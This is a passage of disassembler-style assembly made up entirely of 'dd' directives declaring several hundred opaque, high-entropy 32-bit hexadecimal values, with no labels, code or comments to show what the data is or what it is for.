		dd 910375F6h, 71288268h, 96605656h, 0A072BB37h,	2C4DF3E8h
		dd 25694761h, 6412A574h, 0E04AB1AEh, 13735901h,	46B32182h
		dd 876A1B6Dh, 0BBD6347Dh, 0CDC752A3h, 59D5090Eh, 12944C1Ch
		dd 0D8C527C9h, 0AB799D5Eh, 0B685A6Ch, 31A22C9Ch, 56D3FE8Fh
		dd 0C450E902h, 5E0B0597h, 9223667h, 0A806A283h,	7CBE49D2h
		dd 1608070Ch, 0CA0128FDh
		dd 391803FDh, 556162CCh, 4CB03502h, 0F70AE8h, 3EAE0DD8h
		dd 0C12D17AAh, 44D90B00h, 0D662CA05h, 95A297D5h, 43E52497h
		dd 5248F3AAh, 51B11245h, 1A3DA7EFh, 6113C601h, 0D99273C9h
		dd 7672AD5Ah, 9DE050B5h, 7E30A090h, 561BA817h, 6A374C40h
		dd 5D9EE96Dh, 0D0138F4Ch, 6684BF2Dh, 95392DC8h,	5175B109h
		dd 53FE9F48h, 3BBEA9B0h, 49218CF7h, 12A40C37h, 0FDE8EEDAh
		dd 0AA3A10F2h, 12575A2Dh, 3E3E809Bh, 0B06CB41Eh, 0C4D6B51Bh
		dd 11392DBAh, 9920534Dh, 0DF3A00E2h, 814D5D48h,	3217A5CDh
		dd 0CEF97ECEh, 0FEEF060Bh, 0FD42A0FEh, 49A50F67h, 6F60010Ah
		dd 301C4D70h, 2F064677h, 0FD297136h, 0E9088080h, 740A5E22h
		dd 0F22F80E9h, 3A4BC377h, 6B41EC8Bh, 23C8B03h, 2EECB8BEh
		dd 0E8D71C22h, 9781E5A5h, 5D1F7FC7h, 0F624A1E4h, 95FF3AFh
		dd 25089FBh, 0EE139C5Fh, 0BEEAAAC1h, 9F68F2CCh,	2BDF46C3h
		dd 0B726D304h, 22A14C73h, 89599F7Dh, 5FB5F101h,	17ECAED2h
		dd 3EB9F0Bh, 4C7FEF8h, 43C2314Fh, 57F3AB73h, 42A86D4Dh
		dd 2D0F2C40h, 5416C8BFh, 1402F74Ah, 0E0B1EDB4h,	0B58E1C6h
		dd 0B375B652h, 3E70C3F0h, 0FF1C5D97h, 0E0D9E925h, 0BD4F59BFh
		dd 205DC8E2h, 0C59BBADBh, 0A829B096h, 242CBDFEh, 1FA66A68h
		dd 5EC012E8h, 60D7892Bh, 0B57F76C6h, 0C00E1E90h, 6E8003EDh
		dd 50EB6784h, 7BB190E5h, 5F14D83Eh, 92F0E595h, 5DFC82F0h
		dd 5E20E0C4h, 454F810h,	3519796Ch, 1C2FC0DBh, 60CBC129h
		dd 0A57A560Fh, 4A7F6357h, 8BC7AE0Ch, 6D02B9A0h,	32D8B7E6h
		dd 3BB4894Ch, 0B6E1037Eh, 74F2715h, 0DF17F618h,	25965229h
		dd 0EB7D1377h, 0CBE8FC15h, 16CD89B0h, 0DA4ED474h, 8682E21Dh
		dd 7C292B0Ah, 0F13C0835h, 8347C02Dh, 14A43E50h,	471E7518h
		dd 18126BE3h, 0BBC67C1h, 1D973C09h, 0C277ABF8h,	0AB244B0h
		dd 0ADD96795h, 2469CFB1h, 0CFBC5B36h, 0FABCFEC4h, 0E1D05A0Dh
		dd 91B4304h, 0F0D7F183h, 33E980C9h, 360BFE4h, 3F01EBEFh
		dd 848D5B74h, 0BF8187ABh, 0C906D229h, 0C54E94D5h, 0E94902EFh
		dd 10F157AAh, 6AE98DCCh, 90C876Fh, 6B223B12h, 0D556E896h
		dd 7B16D91Fh, 483108E0h, 5058A1C6h, 5493028h, 26E80A9Fh
		dd 6822805Eh, 239B707Dh, 5229C502h, 0DDE85D33h,	4C27F5EBh
		dd 0C68554Bh, 514A63E9h, 138725EFh, 68F4C0D1h, 18971FF2h
		dd 806029E4h, 0B7EE35B2h, 0C8B66F7h, 0C748E368h, 0CC4F4AB0h
		dd 569A192Ah, 1A155D9Dh, 4BB74ABBh, 9565AE18h, 0E6B5057Bh
		dd 8922FF3h, 84ED6D19h,	5EF868B5h, 48A160ABh, 4901C71h
		dd 0DD250F90h, 0ABC4D7F2h, 3E22213Bh, 39FD9206h, 8933CBAAh
		dd 791E005Ch, 9F95B050h, 80FF8F55h, 8A50429h, 0E6587BC6h
		dd 0A2B13851h, 2859CE09h, 0E7840457h, 80F74805h, 2C8C3D95h
		dd 7825547Dh, 7355D63Ch, 2BD591F1h, 598256B3h, 845E5C31h
		dd 0F1F2E967h, 0AD9057FEh, 0DF97AA2Eh, 0BD98DD18h, 8B3679B7h
		dd 0D2742643h, 15FA68E1h, 66C4CB3Ch, 0C2C8BA30h, 5D284027h
		dd 6C04D39Eh, 0FFC0748Fh, 42F78E3h, 0E783E9D1h,	538EAEFEh
		dd 0C41E5E7Fh, 70DBEFE1h, 0CD099E25h, 802D8075h, 4EF6E2C7h
		dd 4B84BCD7h, 3F7B30BCh, 0CD13A9C5h, 44BD0260h,	0B98BEF28h
		dd 0D5138AF4h, 0F95EF8ECh, 62FA126h, 0DDF82901h, 6219AD62h
		dd 0F67E573Ch, 69912E87h, 0E9D00980h, 21DDD3BAh, 3B358001h
		dd 2AF81839h, 4F569C39h, 93C9DA06h, 9DBDC35Bh, 1CE7CA4Ah
		dd 4AB87C68h, 4BB59BEBh, 0E62EC7EAh, 73BE90E6h,	6141A116h
		dd 0E068575Fh, 0EF20D4CCh, 18A8E2ACh, 0E2D19386h, 0F29AECBDh
		dd 0BB3AA843h, 9F5300D9h, 0A8CB812Eh, 0D895504Bh, 6D820CB0h
		dd 0A0C474F4h, 69BD1D04h, 75CCD301h, 0F7C7C130h, 7F71CB35h
		dd 7A98B501h, 98833A0Ah, 65963645h, 8F569215h, 88C55AC2h
		dd 0B7BF5885h, 44E90B28h, 739EF250h, 4DF70A89h,	8F5F830h
		dd 5916B40Bh, 508727A9h, 0E5E3F29Ch, 0F71CE4F8h, 0DD16A7AFh
		dd 2A16985h, 7306EF60h,	0D0295E22h, 2354C379h, 0DB084528h
		dd 0A6EC024Eh, 0B36BFAC5h, 0E5A010C1h, 51134Ah,	1F05B387h
		dd 3FFBD156h, 5B261CE1h, 3181F62Dh, 2F505B54h, 83885EADh
		dd 69135317h, 0A76810C0h, 60E09C1Ch, 4993278h, 0D84E5E2Dh
		dd 174976ACh, 5F2893Ah,	0AE0EAEBCh, 4B7B74A6h, 5937F0CCh
		dd 0A50047BFh, 5000E3D2h, 7C0E7068h, 248581Fh, 26F92105h
		dd 0F45E8925h, 0B1076208h, 40505638h, 0AE0A59A3h, 38EC5D5Ah
		dd 80B25E8Fh, 932311C3h, 0BC94707Fh, 0B7932724h, 66B8F153h
		dd 51B1FFA4h, 0D4E60621h, 21D2E439h, 0EB05E4F4h, 7749A29Bh
		dd 0BA8FB313h, 2350838Eh, 0EC384B47h, 8E6CDEE8h, 66ADCA5h
		dd 7CEC306Eh, 0A896E2E8h, 0BAFA75C9h, 2377AD82h, 0E9FB0151h
		dd 0CC3AD7A2h, 5412DA0Dh, 16BF4F6Dh, 0BFAF295Ch, 0DFA2E59h
		dd 6813E9A2h, 45F3782Dh, 7506FB30h, 745B49E9h, 2B99EA91h
		dd 29DB6800h, 23C1C89Ch, 312B593Bh, 3E3A3FA7h, 0B31033E3h
		dd 5E64825h, 29ED063Bh,	45ADDC80h, 0E9200D5Fh, 60CD53C9h
		dd 3809BAA3h, 564A018h,	60034F0h, 0F27A51E9h, 7AE1B52Bh
		dd 59913454h, 6237F99Fh, 3093F39h, 2D6FE5FBh, 0A779E661h
		dd 25F1E961h, 0C287642Ch, 53E0A2F8h, 92CE67DDh,	772DFFF3h
		dd 5C8BA922h, 25FEE65Fh, 1468C115h, 0F22F383Eh,	0C24A623Ch
		dd 0B0B5720h, 2CCA4FFh,	0F9E98081h, 0BCBFE993h,	1BCAC42Ch
		dd 0C28674BAh, 0A65AA5EDh, 0E74A590Bh, 82F8FC1Fh, 5B038BD3h
		dd 0BD60DA55h, 0CE503C79h, 0EFF98203h, 6289A5BDh, 95F97596h
		dd 0B45A2ABEh, 10218F58h, 6809E353h, 85564AECh,	0B401E978h
		dd 14E72524h, 7564E904h, 68D48CFAh, 0EDD0D641h,	0CE4BB58h
		dd 0C5FF8409h, 9279FD09h, 70B872Fh, 7F08ED32h, 0CBD8EDC2h
		dd 0F8887FE3h, 0A4681856h, 2BD3DF6Fh, 0C1BC109Dh, 471E14EBh
		dd 0AD4A94BCh, 8E912EBh, 87C4CFECh, 4E82AED1h, 39D57219h
		dd 0FAF095C3h, 86D95D01h, 0FC1FE982h, 0DD4277E9h, 0DFF2FA79h
		dd 0E4F18D25h, 0C254979Dh, 821468E2h, 38C1B55h,	41B9EF88h
		dd 0E7945320h, 0E45C6F7h, 64A977Dh, 814AFF80h, 3BE509E2h
		dd 3A0956EFh, 0EE008B5Bh, 0E9738F12h, 4D009DABh, 5455D830h
		dd 970AF2h, 38C8BE2Ch, 0A9725FE8h, 2DD81410h, 4FC54A0Ah
		dd 0EB305845h, 4AACB026h, 68B28801h, 7647972Fh,	36E8D2FFh
		dd 27D22CD7h, 0FF9B00C1h, 1854AE04h, 4B71EA5h, 0A5CC2017h
		dd 37B455D8h, 0E1E5E12Ah, 5E149A09h, 0B605517h,	2C023718h
		dd 8CE9F089h, 451855CCh, 0B1B7C346h, 0ED726BB6h, 0E6EFFC4Eh
		dd 2E512024h, 4E24369Eh, 7C341701h, 0A6700915h,	0AFA14ED1h
		dd 4D444065h, 8913368Ch, 88DE30B6h, 7D5B2B7Eh, 0F7EB6192h
		dd 7BED65FAh, 0C24E71FCh, 715C027Ah, 4D63E9F0h,	6800EC78h
		dd 6DD71FAAh, 0D97E895Bh, 0C4EA7F4Bh, 0F3FDBAD7h, 1E2D6DCh
		dd 181C94E0h, 2B636023h, 6B45D1B5h, 30A6C2DEh, 0B0427B0Bh
		dd 0B4A1156Ah, 0F69EF38h, 0E29F8CF8h, 33C5F718h, 8CEE4917h
		dd 6013C1F9h, 730D1FA2h, 0E53B0DC5h, 9E646F30h,	0A625DAB6h
		dd 3E053BE1h, 0CC5B90ECh, 78BD5526h, 58D02727h,	29D9343Bh
		dd 0C4242F78h, 4A4FE7FFh, 1810BDBCh, 44F58CDh, 0B75E8EBBh
		dd 0E4FAF2C4h, 0A90B0549h, 92EB8BDh, 0CDC07F6Fh, 635D26E9h
		dd 1BAF85E7h, 5E7939B3h, 0A972D4EAh, 0F2082F92h, 75960FC9h
		dd 926940A8h, 18D8BB90h
		dd 4933BEACh, 25F1AF6h,	0D2273EB8h, 80C14666h, 33B36EB5h
		dd 240C35Ah, 1CF7F810h,	5D85680Ah, 5DA728h, 15F3B8C1h
		dd 0E9260B6Bh, 0E5553BEFh, 627D250Bh, 0C8F1C0B8h, 6646CE2Fh
		dd 0BCE830E4h, 6881DEA6h, 0E4E94159h, 524A13EBh, 1D16EF5Fh
		dd 0F653FE93h, 9A22D91h, 0DC29AEDBh, 16502709h,	4933F864h
		dd 323BB8ECh, 88E00394h, 0B20CAC5Fh, 0BDD86CDAh, 94627EDCh
		dd 70C576ECh, 87B53EE9h, 6D0C0CDh, 2650F780h, 10ECFD88h
		dd 0EA300456h, 94AC2859h, 17AD2784h, 0FEC61CBEh, 4C27F24Fh
		dd 80536077h, 0BD2821EAh, 0C3ADC3E3h, 0CF1390B4h, 0F48B8734h
		dd 40D81910h, 315CAEF1h, 791FD3CBh, 0AB633F52h,	4046D203h
		dd 0FF1A7A35h, 4ADC9307h, 11E4DD10h, 2C7F0550h,	45E14399h
		dd 81A54051h, 825962EDh, 0EB89A912h, 4A1E5A0Dh,	7358E7C0h
		dd 4EC87B80h, 0AAFEC498h, 7B117D8Eh, 3BC20478h,	9081AC1Bh
		dd 34AFF02Ch, 5289C75Bh, 570880BAh, 2CF28112h, 24D33744h
		dd 496F18F8h, 187192E3h, 0F3051776h, 418C3D37h,	0ED5A68ECh
		dd 91F3CC1h, 0F5897E4Eh, 0D0F789B0h, 6D1C33B0h,	0C0AF9905h
		dd 82986228h, 560297DCh, 0F7773778h, 482D2EA0h,	6ABF90AAh
		dd 0AC09DCEDh, 0AF0F1266h, 0E2512C73h, 77D64405h, 475924CEh
		dd 0FB9EB560h, 0B0D9B7C1h, 6804303Eh, 80916C25h, 460238A4h
		dd 0D67EAB63h, 26BC8295h, 0C3D754EFh, 0D9FC13DAh, 4700EE2Bh
		dd 0A82011B9h, 0B8E1FE38h, 0AD4426D8h, 8686002h, 285EC975h
		dd 22BA7861h, 6DE192Ch,	0FD4AD444h, 1935E606h, 0B7104E39h
		dd 0B8974B84h, 9C175DF0h, 5256E5C5h, 0CA5EA7EAh, 0F961945Ch
		dd 0FC6AFEF1h, 2CFCB42Ah, 0B50FB12h, 5378D99Eh,	0C65E567Dh
		dd 41E1F2B0h, 0B050EC2Eh, 3F5E2B90h, 0E0EE1BD2h, 81E69630h
		dd 2F2E6041h, 5C6B7016h, 2C7AB9B1h, 71299DDh, 80AE6920h
		dd 5301C28Bh, 0C814FA30h, 0BECFDBDh, 0D1D5E961h, 0EFCFAF2h
		dd 58734E25h, 705C9D0Bh, 4C3EFE71h, 0B8B7AC96h,	5D0B5F95h
		dd 0F20AA8F4h, 0D549992Dh, 0A968E260h, 8F8D6BFFh, 7E322CECh
		dd 0CE5E802Fh, 0F12F5781h, 31F80DDFh, 12AC3E0Ah, 0D3A94D7Eh
		dd 5A093648h, 408ECA28h, 41F710B9h, 0FC13B4A0h,	0CCFAABECh
		dd 8B067561h, 0EA3A91E9h, 463C2640h, 12F75339h,	0FEEAD1D2h
		dd 11D40B44h, 8C7C590Bh, 78726FD1h, 2987F602h, 8D413AD7h
		dd 55C19318h, 0A79B24AFh, 0F1E98564h, 0EEE23DB4h, 0F7E04EFCh
		dd 60126E0h, 6480512Fh,	8DCBAB60h, 0DF58985Ch, 0E64F8697h
		dd 0B052E916h, 44CBF8FCh, 0EBD7C82Bh, 132ED12Ch, 45F08E2Fh
		dd 40DA2009h, 0DF2D7894h, 6AA64880h, 0F89535D5h, 0E9078028h
		dd 266BB675h, 70580EA0h, 933CFB9Ch, 0BD3F718h, 6C671C05h
		dd 0FF86208h, 35C36094h, 0EFE4D7B7h, 0A1A81F85h, 0A7E2E9C2h
		dd 530F3279h, 91554650h, 0C2881E14h, 28EE7358h,	0D5040C79h
		dd 0EDC05A66h, 0E11228C1h, 140ACA3Bh, 0F88DC48h, 0AE8077B4h
		dd 89CCEF57h, 9F6B5041h, 0A9D229F4h, 2571DFF2h,	16676858h
		dd 0AF3C4C72h, 48F77BCCh, 0E902EFD1h, 87F9784Dh, 0F4772C60h
		dd 0B2B3A297h, 0C05CB214h, 25445474h, 9EFC7278h, 7FE7E942h
		dd 54FCFD0Bh, 45E45FC5h, 773D0BF3h, 140020FFh, 3F4702E6h
		dd 0C637E19Fh, 0F4E90840h, 0F1CAB52Fh, 5511B303h, 15DC99C7h
		dd 403C715Ah, 8A1BF068h, 745B4C33h, 740F60F4h, 5926739h
		dd 3E444182h, 0B877FE04h, 6D980774h, 8E2016F4h,	0BEE9042Fh
		dd 0E94D8052h, 3ECFF9A3h, 6FD72635h, 5F169F30h,	49FC5CBDh
		dd 20EBB45Dh, 719F3CF6h, 81EA2D94h, 95B994FDh, 0F13D3785h
		dd 202E313Dh, 0EA5B8800h, 0FBB7D7E8h, 0DC607342h, 37F43AFCh
		dd 793C00B5h, 0B7227F13h, 78E329E1h, 0D3074A72h, 73644E5Ah
		dd 1371E1F8h, 89288AE9h, 0D9024123h, 0FB5D2114h, 84A13AA6h
		dd 3DEB2AF9h, 0A8D905B1h, 9F3C2EBFh, 6C254AAEh,	0BD28B05Bh
		dd 7BCB020Dh, 0EAE589B2h, 2E509988h, 1CD42768h,	34A06558h
		dd 7C9610ECh, 21F980B0h, 4611D806h, 212D8EB8h, 430C992Fh
		dd 8943443Ah, 18A7EFDDh, 0F465F84Ah, 89942CFBh,	0C5DED4BFh
		dd 5DB3928Ah, 505C89D7h, 12894A43h, 0EBD313A4h,	5884A9A3h
		dd 5DE8AA51h, 8D71EB92h, 846BCCE9h, 1E9FAA69h, 0B7081D27h
		dd 749554ABh, 0D108E421h, 205854E1h, 7441193Bh,	0A0CF21DCh
		dd 1480EF82h, 0B30CC104h, 0D3544105h, 7D4FB07h,	32E9080Fh
		dd 95EFBCB4h, 9AF659F2h, 427BC5Fh, 0BA6C04B9h, 0BD81D7F8h
		dd 0DB1E2299h, 0CD5EB1E8h, 0C1042FB8h, 647C42C4h, 693B1EAh
		dd 14821C08h, 200764DFh, 5158B3F4h, 41F205CDh, 81EE4B5Eh
		dd 2F3474ADh, 0B785A2FCh, 0C428EC59h, 0A9B0DCE9h, 0F9F9A066h
		dd 205D9D10h, 0E90DEC98h, 0E7155E3Bh, 44562FB7h, 38AD90F1h
		dd 0EA5B0B16h, 57627029h, 447BEF1Ch, 81C3313Fh,	2006E365h
		dd 0DEFE3DE3h, 5E91712h, 0D7F6CA42h, 4F44E151h,	0B0CF886Bh
		dd 3C280180h, 64FC5BDCh, 0AB5D1837h, 52A29B91h,	0F4A5BC6Ah
		dd 0A8BBFCABh, 70152F68h, 1588F7Ch, 0CAC59DC3h,	0E8041DA4h
		dd 0F8EB3919h, 0A0D0052h, 0E96E740Fh, 0F3CC4E9Eh, 56EE4B97h
		dd 6B7E00E3h, 2DC34FA5h, 0E6217801h, 5F00114h, 0C2A40744h
		dd 25DA4B6Dh, 8CD50090h, 0BB3D280Eh, 0D8301E02h, 0FC0FE911h
		dd 177E2DE2h, 3BE99F54h, 0DFF07AF2h, 0D0210D7Ah, 0F569CDE9h
		dd 84942AEAh, 0C7D0A8AAh, 6BEB76E9h, 64A4F4B1h,	3AD86D4Bh
		dd 12EE2B9Ch, 404DE8D9h, 558233CBh, 49DFE642h, 0C6E25B18h
		dd 0D0E82FB6h, 46D9C81Ch, 0AF793844h, 7120EF04h, 5FF4C131h
		dd 0C90E6C4Bh, 0D084E3ECh, 5BF23A66h, 3A72D948h, 35322CAEh
		dd 77ADE2B5h, 0B2CAC165h, 2C269A02h, 0DF02771Ch, 0D30F6D0Eh
		dd 0A8A117EAh, 80CEB338h, 285A6B63h, 1794DAF7h,	4ED4B97h
		dd 5E2F9F2h, 0C3FF412Ch, 0E5DAD884h, 447B4E6Ah,	9BAB5E13h
		dd 0A4E93446h, 1212CEFBh, 98E259CEh, 1D111510h,	1B05F181h
		dd 0D4BE32FDh, 3E0C010Bh, 3B1DCD27h, 1E83C9E1h,	2EA47FD2h
		dd 9624FCC1h, 0D8BFF369h, 6912EE25h, 0C4EB6029h, 5B080B7Eh
		dd 2F3EE411h, 153AF0Bh,	6B5EAC03h, 0EA2A59D5h, 9380EC58h
		dd 2C1A2DE3h, 0D5D1125Fh, 8257BD0Bh, 76C5EAB4h,	345C6998h
		dd 8F854C9h, 482D4C2Eh,	0B2E54FD9h, 9DF4B759h, 5EBDD717h
		dd 0A1248204h, 0BDC1AE39h, 0A925E507h, 407CB9D9h, 18B4FC5Bh
		dd 680E437Ch, 204C4FD9h, 88BE56B5h, 52E87109h, 0A5EE88E9h
		dd 7CBCCD81h, 4E3154A0h, 62F137F5h, 4C4CBACh, 0ACB7D49h
		dd 43A9C16Fh, 2D646E52h, 0F065EE8Dh, 0A0ADBEh, 1B69BBAAh
		dd 0FF0A4E64h, 9358388Bh, 570541Dh, 71DD291Eh, 0A0CD0111h
		dd 79B13BEh, 46E95104h,	0F85B0DE8h, 0A2AEE4ACh,	0FE13964Fh
		dd 0A09CF8E9h, 6C203490h, 0FE5AC421h, 58DBA747h, 85289449h
		dd 12601B61h, 120FC909h, 0A27FC884h, 27794C43h,	903F6628h
		dd 0AB10D370h, 38F33900h, 0BD2BCE3Dh, 0F57E7AE0h, 58A1704Eh
		dd 9378E89h, 6188097Eh,	0EF2D12CDh, 618B65C4h, 4BABAC5Eh
		dd 0BC7A14BEh, 0C1930F4Ah, 2B80074Bh, 68D67926h, 3ECE567Bh
		dd 18A0C45Eh, 163EDBA3h, 907B8F16h, 5F73BE6Ah, 6AC92050h
		dd 0F388CA0Fh, 79184BE9h, 808B4F1Bh, 7BBA4E40h,	46211E00h
		dd 3EF7BD55h, 120D78CEh, 57A4E9EAh, 2804BEC9h, 0DAAB47B6h
		dd 0E8175084h, 5B172103h, 12FA36E9h, 2F9302Ch, 2B050F1h
		dd 80582370h, 276A724Dh
		dd 0B80A99DEh, 99A86D7Ch, 0C81355EAh, 0E6C15201h, 239D1467h
		dd 0F129D3E6h, 18EA2E00h, 6A7DF2DEh, 2E6EB3FAh,	197DEB3h
		dd 0E6A1CAB8h, 98AD6879h, 726A8B6Ch, 39BB7D7Eh,	0BE5E8195h
		dd 0CC05F52Dh, 5D64381h, 0F700C87h, 0F06A39BCh,	20C080Dh
		dd 0B2555B14h, 0CB72F5E5h, 0E950E4B4h, 5FB8AA88h, 0BEC363A5h
		dd 0D21472B2h, 2570D242h, 0BC1C90Ch, 0CE613BEDh, 0AC38BA7Dh
		dd 72281E9Eh, 94628810h, 0C1A5CA7Dh, 0E3C056A4h, 9F8134E9h
		dd 965CC267h, 0C10F807Ah, 57B2CB30h, 0C4BA6812h, 787EEE4h
		dd 0EE527804h, 0FD056064h, 7EA4B045h, 350D07EAh, 0D4CF89CEh
		dd 2C5AC26h, 0A898E8BDh, 33605FD5h, 0D6A4814Dh,	72F57AC0h
		dd 9009037Dh, 24BA0B2Ah, 0E0622FC8h, 4AEF760h, 865EC928h
		dd 8618A73Ch, 146BE94Fh, 2BC21E41h, 3BB4A421h, 39B02660h
		dd 0E9185884h, 0AC84B84Ch, 0FE681D66h, 99A22F56h, 51D56DBFh
		dd 0A07A1759h, 0C1098091h, 0F8D1F601h, 43F13FF4h, 0E36AE093h
		dd 0CDAB93F9h, 0C7626C0h, 0A7250DE9h, 0AC6D4FEAh, 9573E79h
		dd 0D7FFF37Fh, 8B5AABF1h, 60DDE280h, 5FC04F41h,	534DB408h
		dd 492C3B12h, 3645D804h, 5E343218h, 0BDDFF39Dh,	457D5DA5h
		dd 3AE9414Bh, 78196462h, 48AD1D02h, 0D76E2F68h,	9100524h
		dd 0B0665D5Ah, 0BA22FF97h, 5CE8D345h, 41265393h, 0F6407567h
		dd 5A31F361h, 172AA858h, 0BFAEA29h, 787460EFh, 8046B261h
		dd 0B69716F9h, 50D9A23Eh, 0D913CCE1h, 0E72102BBh, 0A27FD3FDh
		dd 8407DA7Ch, 8803C045h, 0AA845AD0h, 0AA92ADB2h, 2E7B0CA0h
		dd 3B3FDFF6h, 17BBB3DEh, 0EE9D844Ah, 722552EDh,	8BC8B13Bh
		dd 440FF1CAh, 381CB0ABh, 9D7027C0h, 8BF71712h, 0EFDF54CBh
		dd 0D15A0964h, 7327191h, 0CDB854A4h, 0C037AE4Bh, 1D1EA4CFh
		dd 0DCA8188h, 294A7E6Fh, 20D82BE2h, 0BF3C7070h,	0FE7AADFEh
		dd 9964C246h, 5BB55F05h, 1E6C5841h, 81C2DA78h, 376148E6h
		dd 2259FC6Bh, 6AC4F195h, 0FF5812B9h, 0E87B0839h, 1297D5BEh
		dd 61BA01BBh, 362C6428h, 852D793Dh, 44DFFC06h, 0C211C058h
		dd 134AF612h, 0EEFCBE4h, 3B38172Ah, 36A5CFC0h, 74BD4F67h
		dd 0D3F780F0h, 9E68DF87h, 1C9285Ah, 2F8912F3h, 2C2EBFF8h
		dd 0E24B6158h, 0D2521074h, 85B1681Dh, 0C05D631Fh, 3D4633FDh
		dd 0A2E97F18h, 3B951BFh, 0EA5F059Ah, 0D5E9CE29h, 0E4613C4Ah
		dd 7A36980h, 0FA7A4AF6h, 54EDE91Ch, 0ED17BC06h,	62FB91A2h
		dd 7D01025Ch, 5AC0AE1Ah, 539D2572h, 0DD2225F5h,	8000D16Eh
		dd 66F61FEFh, 6300AD7h,	0FC28B113h, 0B669F404h,	40BC9CBFh
		dd 969DD05Ah, 30E1C800h, 0E9271618h, 7716FA23h,	18B259E8h
		dd 0A627AD77h, 3FFDA48Bh, 2E67C6FDh, 28275954h,	741D1225h
		dd 9DA6FA78h, 612A8FD0h, 59C82DDEh, 7F25FA54h, 0AD6378E2h
		dd 0E27B680Bh, 0BEDDFEh, 0DC41C998h, 500F07Eh, 0E07E89Dh
		dd 565880D6h, 2FDB6813h, 0AC7954B2h, 0E5796991h, 2D97F1DDh
		dd 75608330h, 4CB0114Eh, 0B97D0988h, 0F250432Ah, 1628E5F2h
		dd 45FEF960h, 0B2EB8814h, 45EE5EFFh, 211701F2h,	1C0C9FFh
		dd 0EF2BDD68h, 0EFD90B69h, 1F30E908h, 35BA3649h, 4AE41741h
		dd 0C580F201h, 0C0C6E987h, 794AA008h, 1E8A3553h, 0B8BDC08Eh
		dd 0DB1204F6h, 0AAE1313Ch, 0B1006561h, 58B588A2h, 83731F28h
		dd 9860FCBAh, 1C9EDECDh, 0D595BF2Ah, 0A60BC996h, 0D7CDEACEh
		dd 0F053F88Eh, 94404A2Dh, 8B2DF15Ah, 84C8AC4Ah,	27ADD002h
		dd 0BD4BBCD4h, 2BC4AEEh, 846510h, 7BE60D40h, 60F7710Eh
		dd 5BB72AD8h, 0D8BF9E80h, 0BA520E02h, 0AAB1AF5h, 0FF22CF8Ch
		dd 27CC0D16h, 0E159C81Ch, 0C0EC1AACh, 3574BDBAh, 0F78F508Bh
		dd 0EB041684h, 80D626F3h, 35CE969h, 7150ADBEh, 0EF1099CAh
		dd 3370F8C6h, 7639C505h, 0ACC06FBFh, 2BE636Bh, 17222D1Eh
		dd 425D53F2h, 5D0704E6h, 96A5ADBFh, 408D2988h, 0B900BF83h
		dd 0BE487C37h, 48CB27AEh, 1A256C35h, 1061AB12h,	303C3581h
		dd 0FFA209EBh, 0FC948BF5h, 249320DEh, 17989036h, 65E625h
		dd 7E465339h, 2EF2E281h, 0AF987372h, 22E37164h,	0FDED2DA3h
		dd 8C65678Fh, 4072D025h, 841AD5Ch, 0B82BCAF1h, 39C39681h
		dd 21EB8093h, 62D5158h,	0F118606Dh, 580CEBB6h, 241B023Dh
		dd 0F680FDA0h, 9FC680D6h, 5AF50928h, 470BCDFEh,	218481D6h
		dd 0F3AA1C57h, 0C5E90C20h, 0F0F7B1CEh, 4EAA586Ch, 2568BA50h
		dd 7E985098h, 479AB9E9h, 413C56BDh, 0F8FA89D7h,	66B5E15Ah
		dd 0CBC35A0Fh, 412655C1h, 0C92B6C48h, 6D442031h, 2EF32505h
		dd 8B80E1C1h, 3F551BC9h, 0F180379Ch, 6E436A01h,	0D7BAAEE9h
		dd 0BC82CA98h, 4EFF7057h, 6BD92D5Bh, 4B519233h,	74E2C6E9h
		dd 30611539h, 0D0CD6211h, 0B97B4C87h, 0B591C316h, 343A918Bh
		dd 883E4051h, 0DF40EAD9h, 26C86484h, 0C5804221h, 0B6485D77h
		dd 0DB9716C9h, 6F1C2D6Eh, 79FB5790h, 8C3875C9h,	48D5DDECh
		dd 23AA25EEh, 4ACDED97h, 5A5DAF68h, 68510220h, 65D1163Ah
		dd 0ADA39485h, 585A0575h, 0C8A02D72h, 33BB0053h, 4306DD0Ch
		dd 839EBC1h, 8481BAD1h,	679628AAh, 0A4E8B4C5h, 39798725h
		dd 2208B342h, 0D50BA09Ch, 0C8203085h, 34091F01h, 14D30AAh
		dd 5046B2EDh, 4BB668DCh, 9D698C5Eh, 0F5CD42BDh,	0CF9F6673h
		dd 0D6D79ACBh, 1BBD8BAEh, 7B4FE55Ch, 0F897E203h, 2D4E7607h
		dd 92769C07h, 9E72D42h,	3C4770Fh, 7EA7BDF9h, 41AA309h
		dd 0F4BC8463h, 25D0F700h, 8EA0426Dh, 679862Dh, 5980AC4Ah
		dd 1307E6C1h, 0F37590E9h, 627C25CBh, 0A35E77D0h, 0CC674470h
		dd 689EC11Eh, 59349927h, 0AF28B428h, 0E7D4DFFCh, 6E098126h
		dd 0D207E569h, 0E382A88Dh, 5D6A070Bh, 0E6D159A3h, 7B88F010h
		dd 3F13544Ch, 841DFD5Eh, 0D6A90D32h, 7E9BBEC0h,	4E0B04A0h
		dd 0E66B1F68h, 816A0225h, 2BE9FB5Fh, 0C78024D6h, 63037EE0h
		dd 0BC599529h, 5D753903h, 0E12C2D01h, 3EB93580h, 0DE14A448h
		dd 1043CE29h, 0E93C16F4h, 45E8804Bh, 0C172EDD1h, 7ACB034Bh
		dd 57A60617h, 101EF865h, 2C506556h, 0ED381A4Eh,	0C0FF3E68h
		dd 3F3DF33Eh, 0E5837891h, 6D031C8Bh, 1407F0E7h,	1176802h
		dd 0BF225DEEh, 0A9D94BBCh, 72D6CC43h, 695FFA98h, 898E770Eh
		dd 0B1E252FEh, 0BE825411h, 0F6925DA6h, 7041251Eh, 15F797D2h
		dd 7790AD3Ch, 41826472h, 0C760FC94h, 0CD312E14h, 966708EFh
		dd 65095512h, 54C6551Fh, 27418798h, 0F785CB45h,	63D6B390h
		dd 324D5BF7h, 8F484984h, 5C800FC0h, 996C4E68h, 5480C22Dh
		dd 54C06C5h, 0D5293F14h, 310840ACh, 2EF5EA72h, 0E9C020AAh
		dd 78B459B5h, 2454088Bh, 0DCC0FABAh, 4A372BB9h,	2FBDFC42h
		dd 0A17EF85Ah, 307F3C11h, 0BDE7E973h, 10262CB7h, 6E6C499Bh
		dd 426FB2C5h, 81DE959h,	46731055h, 500C2480h, 47940078h
		dd 95E945AEh, 58478E69h, 3C35E852h, 8B6F400Dh, 0F9CE8181h
		dd 0D6F7F43Ch, 4982E92Fh, 7FDCF358h, 2EAF9DCBh,	22E13363h
		dd 7D7E73D9h, 703D04FCh, 521F2072h, 0F93EBAAh, 6C6205Ah
		dd 8ABB5B4Bh, 0AC052689h, 0D1285885h, 908FC2FAh, 0FDAD2CE9h
		dd 2A79E8E7h, 68D82909h, 8977F4C3h, 4E410FBh, 0D4C6C8BDh
